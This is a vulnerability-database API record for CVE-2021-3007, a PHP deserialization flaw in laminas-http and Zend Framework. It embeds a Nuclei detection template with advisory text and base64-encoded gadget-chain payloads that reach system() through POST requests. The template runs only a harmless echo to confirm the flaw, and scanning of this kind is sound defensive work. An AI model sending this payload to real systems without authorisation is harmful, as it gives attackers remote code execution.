{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2021-3007/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2021-3007/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2021-3007/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2021-3007/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2021-3007/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2021-3007"},"sightings":{"href":"/api/v1/sightings/cve-2021-3007"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2021/CVE-2021-3007.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2021-3007\n\ninfo:\n  name: Laminas Project laminas-http - Remote Code Execution\n  author: 0xanis\n  severity: critical\n  description: |\n    Laminas Project laminas-http < 2.14.2 and Zend Framework 3.0.0 contain a deserialization vulnerability caused by __destruct method in Zend\\\\Http\\\\Response\\\\Stream, letting attackers control content lead to remote code execution, exploit requires attacker-controlled serialized data.\n  impact: |\n    Attackers can execute arbitrary code remotely by controlling serialized content during deserialization.\n  remediation: |\n    Update to laminas-http 2.14.2 or later; note that Zend Framework is no longer supported.\n  reference:\n    - https://github.com/Ling-Yizhou/zendframework3-/blob/main/zend%20framework3%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%20rce.md\n    - https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2021-3007\n    cwe-id: CWE-502\n    epss-score: 0.75313\n    epss-percentile: 0.99516\n    cpe: cpe:2.3:a:getlaminas:laminas-http:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: getlaminas\n    product: laminas-http\n    shodan-query: http.html:\"laminas\"\n  tags: cve,cve2021,laminas,zend,rce,deserialization,vkev,vuln\n\nflow: http(1) || http(2)\n\nvariables:\n  rand: \"{{to_lower(rand_base(5))}}\"\n  cmd: \"echo {{rand}}\"\n  param: \"hello\"\n  cmd_len: \"{{len(cmd)}}\"\n  laminas_base_payload: \"TzoyODoiTGFtaW5hc1xIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086Mjg6IkxhbWluYXNcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMzoiTGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQ0OiIATGFtaW5hc1xWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoyMToiTGFtaW5hc1xDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjc6InBocGluZm8iO319fXM6MTM6IgAqAGF0dHJpYnV0ZXMiO2E6MTp7\"\n  zend_base_payload: \"TzoyNToiWmVuZFxIdHRwXFJlc3BvbnNlXFN0cmVhbSI6Mjp7czoxMDoiACoAY2xlYW51cCI7YjoxO3M6MTM6IgAqAHN0cmVhbU5hbWUiO086MjU6IlplbmRcVmlld1xIZWxwZXJcR3JhdmF0YXIiOjI6e3M6NzoiACoAdmlldyI7TzozMDoiWmVuZFxWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyIjoxOntzOjQxOiIAWmVuZFxWaWV3XFJlbmRlcmVyXFBocFJlbmRlcmVyAF9faGVscGVycyI7TzoxODoiWmVuZFxDb25maWdcQ29uZmlnIjoxOntzOjc6IgAqAGRhdGEiO2E6Mjp7czoxMDoiZXNjYXBlaHRtbCI7czo2OiJzeXN0ZW0iO3M6MTQ6ImVzY2FwZWh0bWxhdHRyIjtzOjc6InBocGluZm8iO319fXM6MTM6IgAqAGF0dHJpYnV0ZXMiO2E6MTp7\"\n  laminas_cmd_part: '{{base64(\"s:\" + cmd_len + \":\\\"\" + cmd + \"\\\";i:1;}}}\")}}'\n  zend_cmd_part: '{{base64(\"s:\" + cmd_len + \":\\\"\" + cmd + \"\\\";i:1;}}}\")}}'\n  laminas_payload: \"{{laminas_base_payload}}{{laminas_cmd_part}}\"\n  zend_payload: \"{{zend_base_payload}}{{zend_cmd_part}}\"\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        {{param}}={{laminas_payload}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"laminas\", \"{{rand}}\")'\n          - 'status_code == 200'\n        condition: and\n\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        {{param}}={{zend_payload}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"zend\", \"{{rand}}\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4b0a00483046022100dc9b41ba3130b0e81fa07f8b5e9e067bf81776bf5866df910fc0bc5311313a020221009c3214f730cbdfacafdccedfd950bbd19327da9f1a8f2c7a17d840605b3eae17:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2021-3007"}